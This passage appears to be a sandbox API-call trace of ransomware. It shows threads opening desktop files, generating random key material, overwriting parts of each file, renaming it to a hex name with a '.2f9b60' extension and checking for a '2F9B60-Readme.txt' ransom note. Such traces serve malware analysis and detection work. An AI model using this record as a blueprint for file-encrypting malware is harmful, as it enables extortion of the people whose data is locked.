BaseAddress=0x1b784010) returned 1 Thread: id = 786 os_tid = 0x132c [0098.799] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HLddvInA_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hlddvina_.mkv")) returned 0x20 [0098.799] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HLddvInA_.mkv", dwFileAttributes=0x20) returned 1 [0098.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HLddvInA_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hlddvina_.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c8 [0098.800] GetFileSizeEx (in: hFile=0x14c8, lpFileSize=0x21ddf880 | out: lpFileSize=0x21ddf880*=63831) returned 1 [0098.800] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0xf953, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.800] ReadFile (in: hFile=0x14c8, lpBuffer=0x21ddf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21ddf848, lpOverlapped=0x0 | out: lpBuffer=0x21ddf800*, lpNumberOfBytesRead=0x21ddf848*=0x4, lpOverlapped=0x0) returned 1 [0098.801] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0098.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0098.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0098.801] NtQuerySystemTime (in: CurrentTime=0x21ddf740 | out: CurrentTime=0x21ddf740*=132462177043246000) returned 0x0 [0098.801] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x227f2504 [0098.801] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x548dabd4 [0098.801] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x3d43933a [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x5ed00824 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x11ed81c2 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x547528c4 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0xe09ead0 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x774c756e [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x4e9e94a1 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x25e79b38 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x63f92ed9 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x26093075 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0xfc321f0 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x3c74486a [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x1e205d5 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x7cc4a461 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x1a1068ea [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x15826e8b [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x25b132da [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x10ec6d42 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x55a8a81 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x5e1b96c9 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x50439021 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x7a5deab0 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x66f4cc50 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x7b3bc27c [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x3986cf75 [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x5798d9cc [0098.802] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x30211649 [0098.803] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x6b5fb34c [0098.803] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0xe518358 [0098.803] RtlRandomEx (in: Seed=0x21ddf730 | out: Seed=0x21ddf730) returned 0x679f5c96 [0098.813] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.813] ReadFile (in: hFile=0x14c8, lpBuffer=0x20213cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21ddf7a0, lpOverlapped=0x0 | out: lpBuffer=0x20213cc0*, lpNumberOfBytesRead=0x21ddf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.813] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0098.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0098.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202178d0 [0098.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0098.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0098.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ce0) returned 1 [0098.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.814] WriteFile (in: hFile=0x14c8, lpBuffer=0x202178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21ddf7a0, lpOverlapped=0x0 | out: lpBuffer=0x202178d0*, lpNumberOfBytesWritten=0x21ddf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202178d0) returned 1 [0100.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20213cc0) returned 1 [0100.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20263b30 [0100.923] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.923] WriteFile (in: hFile=0x14c8, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x21ddf850, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x21ddf850*=0x10c, lpOverlapped=0x0) returned 1 [0101.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0101.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0101.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0101.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20260680 [0101.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260650 [0101.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0101.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605f0) returned 1 [0101.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0101.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f6b0 [0101.918] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="a5") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="9d") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="aa") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="34") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="f2") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="fc") returned 2 [0101.918] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="3b") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="a6") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="cd") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="2a") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="96") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="5e") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="89") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="d9") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="c7") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="fd") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="57") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="dc") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="88") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="dc") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6dc, _Format="%c%c" | out: _Dest="a6") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6de, _Format="%c%c" | out: _Dest="5b") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6e0, _Format="%c%c" | out: _Dest="9d") returned 2 [0101.919] sprintf (in: _Dest=0x1cd9f6e2, _Format="%c%c" | out: _Dest="c0") returned 2 [0101.919] RtlInitAnsiString (in: DestinationString=0x21ddf8c8, SourceString="a59de4e4aa34f2fc3ba6cd2a965e89d9c7fd57dc88dca65b9dc0" | out: DestinationString="a59de4e4aa34f2fc3ba6cd2a965e89d9c7fd57dc88dca65b9dc0") [0101.919] RtlAnsiStringToUnicodeString (in: DestinationString=0x21ddf898, SourceString="a59de4e4aa34f2fc3ba6cd2a965e89d9c7fd57dc88dca65b9dc0", AllocateDestinationString=1 | out: DestinationString="a59de4e4aa34f2fc3ba6cd2a965e89d9c7fd57dc88dca65b9dc0") returned 0x0 [0101.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869540 [0101.919] wcscat (in: _Dest=0x1b869940, _Source="a59de4e4aa34f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a59de4e4aa34f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a59de4e4aa34f" [0101.920] wcscat (in: _Dest=0x1b869940, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a59de4e4aa34f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a59de4e4aa34f.2f9b60" [0101.920] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a59de4e4aa34f.2f9b60", NtPathName=0x21ddf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a59de4e4aa34f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1e10 [0108.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 [0108.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420500b0) returned 1 [0108.955] NtQueryInformationFile (in: FileHandle=0x14c8, IoStatusBlock=0x21ddf8d8, FileInformation=0x21ddf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21ddf8d8, FileInformation=0x21ddf8e8) returned 0x0 [0108.955] NtSetInformationFile (FileHandle=0x14c8, IoStatusBlock=0x21ddf8d8, FileInformation=0x21ddf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0108.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0108.962] FlushFileBuffers (hFile=0x14c8) returned 1 [0108.965] CloseHandle (hObject=0x14c8) returned 1 [0108.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869540 [0108.966] wcscpy (in: _Dest=0x1b869540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.966] wcscat (in: _Dest=0x1b869540, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.966] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0108.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864290) returned 1 Thread: id = 787 os_tid = 0x1330 [0098.822] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Jx050T46ksIa W5Jyp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jx050t46ksia w5jyp.xlsx")) returned 0x20 [0098.822] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Jx050T46ksIa W5Jyp.xlsx", dwFileAttributes=0x20) returned 1 [0098.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Jx050T46ksIa W5Jyp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jx050t46ksia w5jyp.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14cc [0098.822] GetFileSizeEx (in: hFile=0x14cc, lpFileSize=0x21fefd80 | out: lpFileSize=0x21fefd80*=79272) returned 1 [0098.822] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x135a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.822] ReadFile (in: hFile=0x14cc, lpBuffer=0x21fefd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21fefd48, lpOverlapped=0x0 | out: lpBuffer=0x21fefd00*, lpNumberOfBytesRead=0x21fefd48*=0x4, lpOverlapped=0x0) returned 1 [0098.823] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0098.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0098.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0098.824] NtQuerySystemTime (in: CurrentTime=0x21fefc40 | out: CurrentTime=0x21fefc40*=132462177043402000) returned 0x0 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x5eb5043c [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x1699093d [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x38778b69 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x172d54de [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x77a22a23 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x796c93a6 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x113d92f8 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x203ee00f [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x4677088d [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x21749eaf [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x68d70401 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x7355b645 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x2619d21 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x1c9fbdf7 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x167aaeea [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x65657f52 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x7cd439fa [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x46647c4c [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x6f9b0e4f [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x1da027b5 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x40408466 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x757ebb1c [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x54e4512c [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x2689d94c [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x578311da [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x1c5c6ac3 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x7cc4cc65 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x62ce68e6 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x23d35e11 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x6dddf914 [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x3621b43e [0098.824] RtlRandomEx (in: Seed=0x21fefc30 | out: Seed=0x21fefc30) returned 0x7312739 [0098.832] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.832] ReadFile (in: hFile=0x14cc, lpBuffer=0x2021b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21fefca0, lpOverlapped=0x0 | out: lpBuffer=0x2021b4e0*, lpNumberOfBytesRead=0x21fefca0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.832] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0098.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ce0) returned 1 [0098.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2021f0f0 [0098.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0098.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0098.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0098.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.833] WriteFile (in: hFile=0x14cc, lpBuffer=0x2021f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21fefca0, lpOverlapped=0x0 | out: lpBuffer=0x2021f0f0*, lpNumberOfBytesWritten=0x21fefca0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2021f0f0) returned 1 [0100.518] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.518] ReadFile (in: hFile=0x14cc, lpBuffer=0x2021b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21fefca0, lpOverlapped=0x0 | out: lpBuffer=0x2021b4e0*, lpNumberOfBytesRead=0x21fefca0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.519] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0100.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420540b0 [0100.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0100.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0100.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42026910 [0100.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0100.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0100.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0100.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420540b0) returned 1 [0100.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0100.924] WriteFile (in: hFile=0x14cc, lpBuffer=0x42026910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21fefca0, lpOverlapped=0x0 | out: lpBuffer=0x42026910*, lpNumberOfBytesWritten=0x21fefca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42026910) returned 1 [0101.597] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0xf9a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.597] ReadFile (in: hFile=0x14cc, lpBuffer=0x2021b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21fefca0, lpOverlapped=0x0 | out: lpBuffer=0x2021b4e0*, lpNumberOfBytesRead=0x21fefca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.597] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0xf9a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0101.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0101.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42026910 [0101.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0101.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0101.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0101.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.598] WriteFile (in: hFile=0x14cc, lpBuffer=0x42026910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21fefca0, lpOverlapped=0x0 | out: lpBuffer=0x42026910*, lpNumberOfBytesWritten=0x21fefca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42026910) returned 1 [0101.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8f30 [0101.721] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.722] WriteFile (in: hFile=0x14cc, lpBuffer=0x1b865fb0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x21fefd50, lpOverlapped=0x0 | out: lpBuffer=0x1b865fb0*, lpNumberOfBytesWritten=0x21fefd50*=0x160, lpOverlapped=0x0) returned 1 [0105.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.044] RtlAllocateHeap 